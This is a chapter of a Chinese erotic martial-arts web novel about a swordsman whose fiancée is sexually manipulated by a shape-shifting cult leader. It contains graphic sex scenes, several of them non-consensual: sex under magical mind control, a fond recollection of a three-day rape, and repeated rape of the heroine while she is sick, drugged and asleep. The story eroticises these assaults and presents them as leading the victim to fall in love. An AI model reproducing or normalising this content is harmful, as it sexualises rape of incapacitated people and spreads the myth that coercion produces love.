图片载入中

来生缘 (2/2)

特大字】 【大字】 【中字】 【小字

我没想到,第一次修练精神口诀,我就进入了“坐忘”。

在坐忘之中,我感觉到自己的精神似乎离开了身体,我可以感受到四周的情况。我的精神渗透出了山壁,来到了山巅,我感受着四周天地景物的变化,风无形,云无常,日月更叠,四季交替,人生呢?是否亦有一个循环,又或者这便是佛家所说的“轮回”?

蓦然,我的坐忘结束,精神归体,一切如幻似梦,却又如此真切。

我发现我是被腹中饥饿所中断修练,当下起身步至酒坛之旁,打开盖子,从中舀出一瓢乳白色的液体饮下。据石刻所言,这是“灵乳”,喝一瓢有辟谷十日之效,多喝无用,因为身体无法吸收。

我默默感受一番,似乎精神力大有增长。

石刻中所说精神力修练无比困难的情形,并未发生在我身上……或许这便是运道吧。

接下来一切都非常顺利,我又修练了十次,喝了十瓢灵乳,也坐忘了十次。 从第十次修练中清醒过来之后,我忽然察觉到了不同。

我“看”到了这个石室,它的外围是一个圆球状之物,表面上金黄色的光泽流淌,似乎是一种金属液体。内部的构造则是一个正方立体空间,便是我现在所待的石室。

我隐隐有种感觉,我只要“想”就可以出去。

我靠近石桌,将石刻上的“无量心经”默默记忆背诵下来,又取了一些灵乳之后,我心中空灵,脑海中只有一念……“带我出去”。

忽然,我感觉到圆球表面的液体快速的流动了一周,我感觉到一阵波动,睁开眼时已站在绝壁台之上。

我一路不停,直接回到了绝杀楼总部,路上问了人日子,稍一计算,果真是过了百日。

如我所料,我失踪了三个月,爷爷已有些着急。

爷爷看见我平安无事,甚是欣喜,接着又盯着我看了片刻,摇摇头说,我如今的武学修为已远远高过于他,他完全看不透我的深浅了。

我没有对爷爷透露关于石壁的事,以及爹的事。

因为此事太过匪夷所思了,我怕爷爷会要我亲自带他去一趟那间石室,问题是,那间石室可进不可出啊,我可不想再困于其中,我还要找缘儿。

我询问是否有缘儿等三人的消息,得到否定的答案之后,失望不已。

在绝杀楼陪爷爷过了数日,正打算继续出外寻人时,我接到了一封信。 信封上未有署名,只简单写了“许来生亲启”几个字。

打开信封,里面是一封信,还有一张白色的丝绸手绢,绢上红点斑斑。 信上则是写了一首诗句:

月明当空,夜舞长空;漫漫长夜,徒唿奈何。

林中小屋,偶遇佳人;窕窕淑女,君子好逑。

阴阳交合,男女欢爱;一夜旖旎,二度春风。

处子红丸,落红白绢;人非完璧,君可知否?

信末无落款,却有一行字:欲知芳踪何处,西湖万宝钱庄。

看完信,我整个人如坠冰窟!

我在心中告诉自己,这不是真的!这是圣子的报复!

他想离间我和缘儿……

但是,一丝丝,一件件,过去我所忽略的线索,蓦然爬上我的心头…… 首先,缘儿没有落红……原来,消失的落红在这。

再来就是,缘儿被师父发现守宫砂消失,以及我到达木屋时,缘儿双手环抱着圣子,露出白玉凝脂般,光洁无暇的臂膀……那时缘儿的守宫砂就已经没了! 我终于知道,缘儿当时在铁剑门接受她师父质问时,不要我承认是我做的,因为本来就不是我破她身子的!我终于明了,为何她当初看我的眼神,有歉意,有愧疚!

我终于明白,为何缘儿会因为灵儿的事,因为我所说的话而出走……因为灵儿让她想到了自己,因为我说的话戳中了她的心声!

一件件的往事,我因为太爱缘儿,而不做多想,随意忽略的事情,竟然都是让我拼凑出正确答案的线索……

蓦然,我突然想到,缘儿为何要对我隐瞒?是太爱我?还是不相信我? 如果,缘儿没有隐瞒,在我救她时就告诉我,我会因此而不爱她吗?我事后会介意,耿耿于怀吗?

我认为我不会……缘儿不是很了解我吗?她为何不相信我?

等等……这么说来……我救她当时,她是真的还在淫术的影响之下,还是装的?

我忽然想到,我才刚进入缘儿体内,她似乎就清醒了……这不合常理。 所以她是故意阻拦我,好让圣子逃走的?

我又想起那一幕,在我出手之前,缘儿自己主动坐下的一幕……

我必须问个清楚……因为如果她那时神智已经清醒,却还主动对圣子求欢,却对我隐瞒,又放走圣子……那我不知道自己能不能接受,能否原谅她…… *** *** *** ***

夏缘醒过来时,已是日正当中。

夏缘猛然坐起,看了一下,发现自己衣着完整。

难道说,昨晚是梦境?她知道不是,却又希望是……

接着,夏缘看见了沈洛樱正坐在房中的椅子上,一脸关切的看着她。

夏缘一看见沈洛樱就知道了……那不是梦。

因为沈洛樱看她的眼神之中,有歉意,有愧疚……

两人就这样默然无语的对视着……

沈洛樱忽然双膝一沈,对缘儿跪下!

缘儿眉头一皱,却仍是默然。

沈洛樱哭了,哽咽着说:“师妹,师姐对不起你!”

“我知道女人家的清白是最重要的,我请你原谅朝元好么……他喝醉了,把你当作是我……”沈洛樱哭着说道。

夏缘沉默的将沈洛樱扶起。

她虽然有所怀疑,但是她需要时间,先把事情想清楚。

夏缘淡淡说道:“师姐,我想自己一个人静静。”

沈洛樱欲言又止的看着夏缘,似乎在想怎么劝慰她……半晌,终于还是长叹一声,默然离去……

夏缘一人独坐房内,思索着前因后果,如果这整件事都是一个阴谋,那么沈洛樱必定有参予其中……夏缘想到这就觉得不寒而栗。

但是夏缘认为不可能,这对沈洛樱没好处,而且绕了这么大一圈,就为了与她春风一度?她不认为自己有此魅力……

夏缘想到此处,暗自叹了一口气。

此事最大的可能,还真是如沈洛樱所言,是阴错阳差……

不过……夏缘忽然想到,就算一开始,毕朝元的确是认错了人,将她误认为沈洛樱,但是在不知道什么时候,毕朝元就已经酒醒,而知道自己操错人了…… 因为二人曾对视许久,而他的眼神,是火热而清醒的……

唉……罢了。夏缘撇开了那些对错是非,因为她还有更重要的事情要考虑。 她再一次对不起我,将身子给了别的男人。

失身一次已经够对不起我了,如今又来一次……要她如何面对我?

想到这,夏缘又想起了她上一次失身于他人,同时也是处子被破,红丸被夺的那一次……

那一晚,我足足晚到了一个半时辰。

夏缘早在一个半时辰之前,在“大自在天音”的驱使之下,将九禅的阴茎纳入自己体内。

九禅的阴茎前端,缓缓撑开密穴……夏缘的眼睛睁大,看着九禅,似是不敢相信……接着,夏缘眉头皱起,口唇微张,娇柔的身子持续落下……然后,约莫过了一半左右,夏缘娇躯抖颤,娇吟不绝……

最后,夏缘猛吸一口气,直接一沈到底!

只见夏缘一声尖叫,痉挛着身体,一股淫液骚水从蜜穴口泊泊流出,就这样昏迷过去!

九禅对此似乎是早有所料,他知道这正是“大自在天音”的玄妙之处…… “大自在天音”除了是无比玄奇的精神大法之外,还是最佳的破处妙法,可以说是独一无二的无上法门。

因为大凡只要是处子之身的女子,如是在天音的影响控制之下,与施法者交欢时,便会在第一次被插入破身的同时,高潮泄身,并随即昏迷失去意识,而因此该女子便不会有破身的疼痛之苦,从而能在第一次的交欢之中,便能体会到男女交合的乐趣。

“大自在天音”还有另外一个更为霸道的玄妙能力……这种能力又称为“迷情”。

施展天音者,只要在施展的同时进入女子体内,便能在该名女子体内中下所谓的“天音印记”,这印记无形无相,却又会永久存在,而被中下印记的女子,身体便会记住这根阴茎,日后只要再次被插入,就会无法自拔,欢喜自生,直到高潮泄身之后,才会随着余韵渐渐退出“迷情”的状态,且由于是身体方面的控制,无关该女子意志如何,皆无法抵抗!

九禅从前靠这两点,便不知征服收获了世间多少贞节烈女!

而这次也不例外,“迷情”将会是帮助他收服夏缘最有力的一个手段! 他心里慢慢形成了一个计画,一个一石二鸟的妙计……

九禅趁夏缘昏迷时起身,拿起她的白色手绢,将夏缘身上破身的痕迹擦拭干净之后,将这张手绢收起。

接下来,就是先好好享受,然后进行这个可能会历时许久的大计画…… 夏缘从昏迷中醒来时,九禅已做好一切,又回到一开始的姿势,阴茎在夏缘体内轻轻抽动着……

夏缘只感觉到一种充塞填满的感觉,在自己的全身上下漫延弥漫着,那种似乎所有的缺陷,所有的不满,都被装填塞满得踏实满足的快意,使得夏缘不禁想要容纳更多,让阴茎更进入自己体内……

口中不自觉的轻哼着,夏缘无法克制的上下迎合着九禅的抽插……

阵阵的酥麻在夏缘体内乱窜,让她浑身娇软无力,又舒服到了极点…… 九禅缓缓的向后躺下,夏缘抱着他肩膀的双手便下滑至胸部上,上半身呈前倾之姿,双乳因此而自然垂下,落入九禅的手中把玩着。

夏缘的纤腰与圆润的俏臀形成诱人的曲线,在夏缘前后摆动的腰肢下成为了一道道雪波臀浪……

“嗯哼……”双乳的乳尖在九禅手指的搓揉中迅速变硬,受到刺激的夏缘摆动得更欢了……

但是她似乎仍不满足,媚眼鞋瞟了九禅一眼,见到他仍不为所动的专注在把玩自己的双乳之中,情欲难耐之下,夏缘缓缓的将重心支点,转移到自己的双手之上,上身倾得更斜,貌似将双乳送得更前,好让九禅玩弄,实则是为了之后的动作……

只见夏缘缓缓撑起自己的身体,又再次坐下,而腰肢与臀股也配合着,原来是不满足于只晃动腰臀下的小幅抽插,而想要更深更长的抽插!

九禅见夏缘骚浪的模样,才终于满意的双手放弃了那双白嫩的双乳,从两侧扶住了夏缘的两片肉臀,挺腰向上突刺……

夏缘不知自己陷入了“迷情”之中。

她只知道,身体内愉悦不断的涌出,催促她做出更放浪的行为动作…… 她只知道,她似乎喜爱上被这根阴茎抽插的感觉了,它似乎总能戳中她的酸处,麻处……

九禅将夏缘摆放成这种耻辱淫乱的姿势,开始了一连串的奸淫,一直持续了一个多时辰,方在夏缘体内出了阳精。

而九禅只略微歇停,便趁夏缘还未脱出“迷情”状态中时,便开始第二轮的前戏挑逗,我便时于此时方才赶到。

九禅在木屋四周以他们教中的独门手段,布置了特殊的提醒装置,因此我一来到他便发觉了。九禅在夏缘的耳边说着:“只要是男人,便都无法接受自己女人被他人染指的事实,尤其还是自己这种初夜红丸被他人所夺的情形……” 接着九禅建议夏缘隐瞒我,并给出如何隐瞒的方法……

夏缘她太爱我了,她不想失去我……夏缘最后决定照着九禅给她的建议,装作受到淫术的影响,对我主动献身,并隐瞒破身之事……

夏缘之后立刻便后悔了,她想对我说出事实,但是一直没找到机会,而且后来拖得越久,夏缘就越怕,怕自己说了,我会离开她……

夏缘在房内待到了日落西山,婢女送上的午膳,原封不动的又收了回去。 晚膳时分,房门又被敲响,夏缘应了声,并未起身,她以为是婢女送晚膳来了。想不到是沈洛樱亲自过来了,她脸色有些苍白,说道:“师妹……你原谅夫君了吗?……”

夏缘眉头微皱,为什么催得这么急?吃亏受害的人可是自己,她们怎么还敢如此逼迫催促自己?

但随即夏缘便明白了,因为沈洛樱接着说道:“那个……师妹,你未婚夫婿来了,就在外面……”

夏缘恍然,原来师姐是怕来生会对她们夫妻不利……

同时,夏缘对于是否继续瞒我之事,亦充满着矛盾……

我坐在大厅的客椅之上,拿着下人递上的茶杯,却无心品茶。

脚步声响起,我看向内堂……足足思念了半年有余的窈窕身影,出现在视线之内。

我与缘儿视线相对,读懂了对方眼神中,浓浓的相思之意,心下稍慰。 本来以我和缘儿的默契,有否第三者在场都无所谓,反正都是靠着眼神在交流……但是这次不同,我有事必须以口说出,问明。

我淡淡的看着沈洛樱:“沈姑娘可否让在下与缘儿独处一下,谢谢。” “啊,好好……那我就不打扰你们了。”沈洛樱二话不说的离开。

我与缘儿对视一会,我做人习惯了直来直往,也不懂迂回,想了想该怎么措辞比较委婉,最后还是决定单刀直入:“为什么瞒我?”

缘儿明显愣了一下,随即意识到我在问什么,她没想到我竟已得知,脸色瞬间苍白

“我,我……”缘儿张口半天,却是说不出口,毕竟要她一个女孩子家,肉麻的说出因为太爱我,太在乎我的话,也太困难了点……尤其是缘儿这种性格。 但是在我眼中,却成了缘儿语塞的表现,坐实了她和圣子有奸情,她已对圣子产生情意!就如同灵儿一般,因奸成爱,先性后情!

就在缘儿仿佛下定决心,要说出她是因为太爱我才会瞒我的时候,我却在此时问了下一个问题:“我们的第一次……就是在木屋那次,当时你是真的中了淫术,还是装的?”

缘儿此时已打算向我全盘托出,其中甚至包括昨夜的失身,自然是不会再隐瞒我,她点点头承认:“是……”

缘儿的意思就是装作中淫术勾引我,但听在我耳中,却想成从我到达木屋那一刻,她便没有中淫术!……这其中的差别极大!

在缘儿的想法之中,她自然是不可能在未中淫术的状态之下,主动去套向九禅的阴茎!而她当时也的确是处在“迷情”的状态之下。

但是灵儿的背叛与缘儿之前的隐瞒,让我失去了对缘儿的“盲目信任”,也就是说我会已缘儿的说话语气与表情行为来判断是否相信她,而不是继续自以为是的认为“缘儿不会这样,缘儿不可能那样”。

而缘儿此时的语气和表情,又加上我修成的“末那识”判断之下,我可以肯定她没有说谎!

那就是说……缘儿当初是清醒的!她是自愿的!

也就是说……欲望战胜了理智!淫僧的肉棒大过了她对我的爱!

而她竟能如此坦然大方的承认?

这和灵儿挡在我刺向冯三的剑之前又有何不同?

她怎么能如此对我?

缘儿……你太让我失望,太伤我心了……

缘儿看见我的表情,心中暗觉不妙,却又一时想不到是出错于而处…… 缘儿正在苦思之际,圣子的那段话正好符现她的脑海:“只要是男人,便都无法接受自己女人被他人染指的事实,尤其还是自己这种初夜红丸被他人所夺的情形……”

缘儿心中黯然想道:“原来如此……你果然还是接受不了吗?”

在二人心中所思不同,有所误会之下,我和缘儿的眼神,第一次失去了彼此交流的能力……

我转身离去,身影一闪,已出了厅堂。

我随口所吟道:“相对无语泪潸然,情缘已尽天涯路……”

缘儿追出之时,我身影已杳,她张口欲留,却只能呢喃:“来生……” 缘儿黯然神伤的脸上,也同时滴下泪水。

*** *** *** ***

缘儿病了。

沈洛樱请了大夫过来,大夫把脉过后说道:“这位姑娘情思纠缠,伤心郁结难解,才会被风寒外邪所侵……我且开几幅镇静安神,温补的药方,但最重要的还是要这位姑娘想开啊……否则病情还会反复的。”

沈洛樱谢过大夫,将大夫送出房门,转回床旁劝了夏缘几句,要她先安心养病,别想太多之后,又命婢女小云好好看顾之后,方才离开。

沈洛樱却是并未回房,而是独自一人,来到了一间下人房内,一进门,吓然便是方才那位大夫,只是他正在更衣……

“夫君真是料事如神,师妹果然得病了……接下来我们该如何行事?”沈洛樱对大夫说道。

只见一阵噼啪的骨节暴响声从此人体内传出,此人的身形从毫不起眼的中等身材,缓缓拔高,最后成为高瘦的身形,脸上五官也是不断变化,最后停下时已是一个清秀俊逸的脸庞……不是毕朝元又是谁?难怪沈洛樱会称他夫君了。 “大凡一人心情大悲之下,本就易得病……再说,就算她未得病,为了接下来的计画也得让她得上……”毕朝元淡淡说道,原来方才大夫亦是他所扮。 沈洛樱闻言点头称是,又啧啧赞叹的看了毕朝元半天,方道:“夫君你这门神功真是神奇,妾身不管看多少次,都觉得匪夷所思。”

毕朝元傲然微笑道:“这是佛门妙法‘众生无相’的神妙之处,你们中土所传的那些什么‘移经换骨’或是‘缩骨功’之类的,本就是传自我天竺佛门,其实不过是这门功法衍生的小道罢了。”

语毕他取下和他脸形已有些不搭调的假发,想不到他竟是光头!

原来,毕朝元不只是化身为姬无厉和郎中大夫,更是“欢喜圣教”中人,他到底有几种身份?

毕朝元从打开一旁的柜子,取出另一顶假发戴上。

沈洛樱见状笑道:“可惜夫君你这个众生无相的妙法,不能连头发生长都控制自如,否则就不用如此麻烦了……”

毕朝元摇头道:“那是我修练不到家……这门功法不能以之对敌,故我只修练到小成便不再花心思钻研……佛门功法繁多浩大,又岂能样样精修……” 沈洛樱又想起夏缘,将话题拉回问道:“师妹如今因情伤而生病,不知夫君下一步又是如何打算……”

毕朝元转头欲答,却见到沈洛樱似乎欲言又止,显是尚有话未说出,于是淡然笑道:“你有什么疑问便问吧……”

沈洛樱有些吃味的道:“妾身只是有一事不解已久,以夫君你那令人无法抗拒的御女之术,为何却在收服师妹此事之上,不像当初对我那样直接,而要这么弯弯绕绕的,如此麻烦呢?”

毕朝元闻言一笑,搂住沈洛樱道:“怎么?吃醋了啊?”

沈洛樱作势欲挣脱,其实是在撒娇,只轻轻挣了挣,便任由毕朝元抱着。 毕朝元问道:“我且问你,你当初从第一次被我破身之后,到后来真心爱上我,过了多久?”

沈洛樱闻言大羞,又嗔道:“哼!你还敢说……人家那次好不容易有机会下山,回家探望父母,却突然被安排和你相亲,你我才见过一面,当晚你就潜进来强奸人家……”

沈洛樱陷入回忆之中,喃喃续道:“连续三日三夜都不停,人家被你弄得死去活来,欲仙欲死的……当初,真的恨死你了!”

毕朝元笑问:“那后来呢?”

沈洛樱横了毕朝元一眼,风情万种:“后来回到门内,都要偷偷摸摸的,每次洗澡完都要点上假的守宫砂,怕被师父发现……”

毕朝元安慰道:“好好好……我知道你辛苦了,不过我不是问这个,我是问你过了多久之后,才真心爱上我的?”

沈洛樱想了想,说道:“我也不清楚……后来每次下山,不管怎么避,你都找得到我,又抗拒不了你那……后来就渐渐爱上和你……那个的滋味,爱上你的那根大坏蛋……”

毕朝元问道:“所以,到你察觉自己爱上我时,过了多久?”

沈洛樱想了想答道:“一年……多吧?”

毕朝元拍拍她的头:“那你觉得以你的了解,以你师妹的这个性子,她最少需要多久才有可能?”

沈洛樱哑口无言,一会又强辩道:“当初我大部分时间都在派内,少有机会下山,现在你日夜和师妹交合,时间必定会缩短许多吧?”

毕朝元缓缓摇头,说道:“如果现在换成是你,我把你囚禁在这�,天天强迫你与我交合,你觉得你多久可能会转变,然后爱上我?”

毕朝元又道:“如果我这样对你,你永远不会爱上我,顶多是成为一个性交奴隶罢了,不是吗?”

沈洛樱想像毕朝元所描述的情形,不由得一阵发冷,抱紧他说道:“还好你当初没有那样对我……”

毕朝元轻拍了沈洛樱的俏臀说道:“那你现在还要我这样对你师妹?” 沈洛樱撒娇道:“我这不是不知道嘛……”

毕朝元爱怜的轻抚沈洛樱的脸颊说道:“身为圣教的圣子,我虽然调教了许多的‘欲奴’,但是对于你们这些,我所看上的‘圣妃’,却是绝对不会用上那种手段,而是随缘度化之……但是你师妹则又不同,她是我看上的‘圣女’,对她我是势在必得!”

沈洛樱闻言,略带不满道:“师父对师妹另眼相看,想不到夫君你对师妹也是如此……师妹还真是令人羡慕忌妒呢……”

毕朝元闻言笑道:“根据我圣教教规,圣女除了是圣子的正妻之外,也必须成为教内教众立功后的奖赏,以示圣子对教众的无私分享之德……圣妃们则是专属于圣子的嫔妃妻妾,不必与教众分享。你真想当圣女?”

沈洛樱闻言惊道:“啊?……那我才不要!……你以前从来不提,我哪知道这些规定……”似乎想起了什么,失色道:“那师妹她不是……”

毕朝元失笑道:“女人啊……刚刚还忌妒她,现在又担心了?”

又安抚道:“你放心……到时她会愿意的,你也知道我的手段……”

在说话的同时,毕朝元,或说姬无厉,或是圣子九禅,一双手已从沈洛樱的襟前探入,玩弄起她那一双丰满的双乳……

一时,满室皆春,一切尽在不言。

夏缘虚弱的睁开双眼,眼前浮现沈洛樱满是关心的表情。

“你发烧了一整夜,方才刚有些退烧,来,先喝点粥,我让人把昨夜熬好的药先热一下,你吃点粥后再喝……”沈洛樱扶着夏缘直起身子,从桌上端来清粥和几道清淡小菜,一边说道。

沈洛樱亲自服侍,而非让下人来做。这其中不勉有一点为了之前之事讨好的意味在内,但也不乏出自那十年的师姐妹情谊,让夏缘心中有些感动。

病中的夏缘昏昏沈沈的,吃完药之后便又睡去。

沈洛樱在病床旁照顾了夏缘三日三夜。

这三日来沈洛樱几乎是不眠不休,餵饭吃药,皆是亲为,不假他人之手。 夏缘病情反复,时而清醒,时而昏沈,但是每次醒来,沈洛樱皆在床铺一旁候着,夏缘自是心中有数,大为感动之下,对之前之事已完全释怀,不再对她有丝毫怀疑。

第四日,夏缘醒来时,床边却换成了一个她想不到,此时也不想见到之人! 毕朝元!……夏缘也说不清对他是何感觉,但绝对不是好感。

经他口中解释,夏缘方知,沈洛樱竟为了照顾她,自己也病倒了!

不过即便如此,夏缘也不愿让毕朝元在一旁服侍,坚持要自己吃饭和喝药,毕朝元见夏缘态度坚决,突然跪下说道:“夏姑娘,我知道我那晚酒醉之下,犯下了错事,毁了姑娘你的清白……其实,我自从第一眼见到姑娘你之后,便惊为天人,对你心生爱慕,以至于那晚甚至在酒醒之后,仍是情不自禁的……继续之前的错事……”

毕朝元又道:“我不敢奢求姑娘你的原谅……只是现在你病了,就请先让我照顾你,你要打要骂,甚至于要杀……都等你病好之后再说,好吗?”

夏缘倒是没想到毕朝元会在此时此刻道歉,又会如此坦白,除了直言喜欢她之外,更是直接承认那晚后来其实已经酒醒……

但是男女有别,就算毕朝元没犯下那事,夏缘也不可能接受他的照顾。 见到夏缘仍是毫不犹豫的拒绝了,毕朝元无奈之下,只得叫了婢女小云来服侍她……

然而,就在当晚,在夏缘在小云的服侍之下服下了药物,沈沈睡去之时,毕朝元的身影却在不久之后,出现在房内。

而且,他竟然不顾夏缘此刻的身体状况,开始脱起了她的衣物!

毕朝元迅速的将夏缘和自身的衣物脱光,上了床,口中竟开始吟唱起“大自在天音”,接着便在运行天音的同时,挺进阴茎,再次占有了夏缘的身子! 但是将阴茎一插到底之后,毕朝元竟然不继续抽插,反而是停了下来,全力的运转着“大自在天音”,直到以他功力再也坚持不住时,毕朝元竟然直接在尚未抽插的情况下便射出阳精,而夏缘竟也同时排出了阴精,然后毕朝元才缓缓的收功。

毕朝元收功之后,静静的感受了一番,自言自语道:“之前便感觉到你或许是一个极适合的炉鼎,却未想到你我体质是如此契合,不过才仅仅一次的天音双修之下,我一身功力竟精进如斯……看来,你果真是我命中注定的女人!……许来生……上次是处子之身,这次连她的心,也即将属于我了!”

夏缘做了一个“春梦”。

在梦中,她不断的与人交欢着……在一开始,是她深爱的男人,许来生;但过不久,所有和她有过性爱关系的男人都跑出来了……九禅,毕朝元…… 夏缘从梦中惊醒,发现天色已亮,然后毕朝元竟然趴在床沿睡着了……想到方才的梦,夏缘有些脸红,轻轻摇醒了他,让他回房休息,并再次郑重的对他说明他不需要如此,请他让下人来即可。

夏缘想不到毕朝元固执起来,也是四匹马都拉不住的那种。他对夏缘的话并未做任何反驳,只是去盥洗一番之后,回来时带来了小云,让她服侍夏缘吃饭喝药。

至此之后,每次夏缘醒来,睁开双眼,总会看见毕朝元的身影,在一旁守候着她……夏缘对此也无可奈何,只是每次总是拒绝让他来照顾自己,二人便如此各自坚持着……

夏缘也不是每次都那么清醒,有不少时候是昏昏沈沈的,这时她在神智不清之下,总是会不知拒绝的让毕朝元将她扶起,餵饭吃药,往往等夏缘完全清醒并意识到时,饭已吃了一半,又或已经在喝药了。

夏缘对此是又气又无奈……

而且,夏缘发现,自己在面对毕朝元时,竟然会莫名其妙的脸红心跳,身体发热……

一开始还只是在不小心有身体接触时,后来甚至只要他一接近自己,感受到他的气息,自己就会有反应……

夏缘对此疑惑不解……自己怎么会对他……这怎么可能?

但是这种感觉……分明就是……

自己怎么可能对他动心?……自己不可能,也不能够……他可是师姐的夫君啊!……再说,自己明明是爱着来生的……

夏缘也不是每次昏睡都会做梦,大部分的时候都只是无梦的昏睡状态。而且也不是每次作梦都是那种“性爱春梦”,有很多时候她梦见的都是来生和她过往的点滴,那些相处的甜蜜,还有那飘然离去时令她撕心裂肺的背影……所以她很肯定,她仍然深爱着来生。

但是,很讽刺的,在“春梦”之中,来生出现的篇幅逐渐的减少,慢慢的淡化,而毕朝元所占据的分量正在快速的增加……

夏缘不想承认,不想去正视此事,因为“梦”是她无法控制的。

夏缘自然不知,这是因为毕朝元每晚在她熟睡之时,以她为炉鼎,和她双修的结果。夏缘不知道,随着双修的次数增加,毕朝元与她体内的“天音印记”感应会越来越强,身体也会越发契合……甚至于到最高境界时,不只不需要阴茎的插入,甚至连身体碰触都不需要,只要一个眼神,或是说话,便可引发“迷情”的状态!

当然,那种情况就算天天性爱,也要很久,起码数年以上才有可能达到。 但是毕朝元现在的目的,只是让夏缘的身体,产生了类似的效果,让夏缘在身体反应的误导之下,误以为自己爱上了毕朝元,而最后真的爱上他…… 夏缘在不知不觉中,对毕朝元日夜在旁陪伴照顾她,渐渐的没那么排斥,甚至隐隐有一丝感动……毕竟以他这样一位平时养尊处优,又丝毫不会武功的公子哥来说,着实不易……

一日,夏缘在睡梦中被叫醒喝药,迷迷煳煳的她只知道喝下送到嘴边的汤匙中的药剂,等到快喝光时才清醒过来,发现自己半躺在毕朝元的怀中,双颊如炭火般发烫的她,鬼使神差的竟然没有如往日般立刻拒绝,如果毕朝元不去叫婢女来便坚持自己喝,而是默默的将药喝完,立刻红着脸的装作睡意仍浓的躺下,背对着正偷笑的毕朝元,在小鹿乱撞,脸红心跳的状态之下慢慢睡去……

那日之后,夏缘反复的病情终于稳定下来,并逐渐的开始好转。

而此时夏缘不想看见,不愿面对的人出现了。

沈洛樱病好了,再次参与照顾夏缘的工作。

夏缘不愿意面对沈洛樱,因为她心中有愧。

她此时已肯定了自己的心意:她对毕朝元有情意,甚至很可能爱上他了。 因此,她不知道该怎么面对沈洛樱。

她知道毕朝元对自己有意思,但是她不知道沈洛樱知不知道这件事,知道之后又是什么想法与态度……毕竟,即使一夫多妻是很正常的事,但很多女人仍不愿意和别的女人分享一个男人,绝大多数都是丈夫坚持,妻子无奈下不情不愿的接受……

夏缘不愿破坏沈洛樱与毕朝元的感情,她宁愿为了沈洛樱而将这情感收藏在心底深处……

但是夏缘很快便发现,此事她根本就是多虑了!

沈洛樱根本就是来说媒的!

沈洛樱每日谈论的,不是她夫君有多好,便是要她考虑嫁给他,还说她们姊妹不分大房二房,就只是姊妹相称。往往让夏缘听得面红耳赤,不知该如何回答才好……

沈洛樱的表现让夏缘知道,毕朝元在爱上她此事上,并未瞒着沈洛樱。这点反而让夏缘更是欣赏他,因为这代表着如果她接受了毕朝元的感情,毕朝元未来也不会瞒她。

夏缘虽然不希望自己的男人再爱上别的女子,但比起那些信誓旦旦的男人,夏缘更欣赏毕朝元这种坦然面对自己的感情,并且不会对自己的女人说谎隐瞒的男人。

不过夏缘也因此发现了上次的事情,极有可能是沈洛樱帮着毕朝元来设计自己……但面对这一个事实,夏缘却是奇怪的提不起任何怪罪沈洛樱之意,甚至也不怎么生气……

不过夏缘还是没有答应……因为她心中还有我,她还爱着我……她不愿在心中还有我的情况之下,接受毕朝元的感情。

但是,夏缘虽没答应,也没有拒绝。

发现这点的沈洛樱私下对毕朝元说:“恭喜夫君,师妹对你心动了喔,再加把劲!”

最近夏缘发现,在身体接触上,毕朝元对她越来越大胆了……

其实也不过就是扶她起身时,半搂着她,扶着她的肩膀;接着搀扶她的手下床到房内方桌旁的椅子上罢了。

除此之外,毕朝元仍是表现的规规矩矩,彬彬有礼,不会对她有任何唐突或轻薄之举。这点让夏缘暗自心喜。因为他不会如那些假道学,伪君子一般装模作样的说什么男女有别,故表尊重;却也不会如登徒子一般轻慢她。

其实,夏缘内心之中,竟开始享受毕朝元这种暧昧,充满情意的轻微又不过分的触碰。这让她有种脸红心跳,甜蜜纯真的恋爱感觉……

夏缘知道,她真的坠如情网了……

这日,夏缘已可以自己起身下床。她眼角瞥到了一旁伸手欲扶,却定在半空之中的毕朝元,脸上那为她高兴,却又参杂着怅然若失的表情,忽然有种躺回床上装病的冲动……

看着毕朝元最后失魂落魄般走出房间的背影,夏缘几乎要站起身叫住他,告诉他一切……对他说出自己对他不是毫无情意,只是心中尚有他人,她需要多一点时间……

毕朝元最后还是未能听到这段话,因为女人的矜持……

但是毕朝元给了她时间。

毕朝元隔日并未出现,沈洛樱说他去处理钱庄的事情,这段日子他几乎完全丢下钱庄的事情不管,很多需要他决断的事已经不能再拖……

夏缘心里知道,是因为自己。

毕朝元消失了七日,这七日夏缘感觉心中空空落落的,好像少了些什么。 七日后,毕朝元终于回来了……

夏缘与沈洛樱正在庭院赏花,听闻下人来报,沈洛樱一张脸笑得甚是开怀,夏缘似乎受到了感染,嘴角竟不可抑制的上扬,想保持平日冰冷淡默的表情都做不到……

夏缘忽然暗想,这不像是妻子在迎接夫君回府吗?又蓦然醒觉,不禁粉脸羞红,暗骂自己竟不知羞耻的胡思乱想……

此时刚过午时,二女已用过午膳,不过毕朝元似乎是忙得没有时间吃饭,于是二女便在一旁作陪。席间毕朝元频频举杯,不一会已成微醺之态……用膳完后沈洛樱扶着毕朝元入内歇息,夏缘无甚睡意,便又到庭院莲池旁绕了一圈。 等夏缘回房时,却不料毕朝元正在房内等她!

婢女小云知机的告退,将空间留给二人……

两人对视片刻,毕朝元缓步至夏缘身前,语气郑重而略显紧张,说道:“夏缘姑娘,不知你是否愿意与我共度余生,下嫁于我?”

夏缘显然没料到对方竟然会如此郑重其事,却又单刀直入的直接问她这个问题,一张粉脸胀红至耳根,一时间不知如何回答……

半晌,仍是低着头的夏缘,终于开口说道:“你……可否给我一点时间,过一段日子,我再回答你……好么?”

毕朝元听闻夏缘并未直接拒绝,透露的语气中更有一丝希望的意味,不禁惊喜的瞪大双眼,兴奋的握紧双拳,几乎差点便要立刻跳起欢唿,却又死死克制的模样,让夏缘暗暗好笑,心中亦是一甜。

夏缘见毕朝元只是傻笑的看着自己不说话,又加上方才的对话内容,一时间气氛有些尴尬,随口找话题问道:“钱庄的事情还好吧?”

毕朝元闻言回过神来,淡淡答道:“还行……这几日可能得出个远门。” 夏缘忽然注意到毕朝元神情略显疲态,推想应是这几日公事繁忙,已至于连觉都睡不好之故,而这一切起因都是为了照顾得病的自己,又想到前段日子他无微不至,废寝忘食的照顾自己的样子,心中有些过意不去。

想到他不日便又得出远门……忽然起了亲自下厨之意,算是聊表感谢与为他饯行。于是便道:“你……之前我生病,多亏了你不辞辛苦的照顾我……现下我康复了,我想……炒几道菜,为你饯行,也算是答谢你之前的辛苦。”

毕朝元闻言大喜,本欲立刻答应,心中暗念一转,自己不是一直在找机会亲近她,以便最后攻下她吗?这似乎是个值得一试的机会……当下眼珠一转,心生一计,故作沈吟道:“这个提议虽然不错……不过既然是要答谢我,那我可否选择一件更想要的礼物呢?”

夏缘微愣之后答道:“当然可以,不知你想要何样的礼物?”

毕朝元闻言呵呵傻笑,同时指了指自己的脸颊道:“香一个。”

夏缘闻言大窘,她没料到平素守礼稳重的毕朝元,会对她说出这语带调戏的话,心中暗恼的想要拒绝,却看见他似乎自觉失言,像个做错事的孩子一般,手足无措又尴尬的低下头,心中暗软……

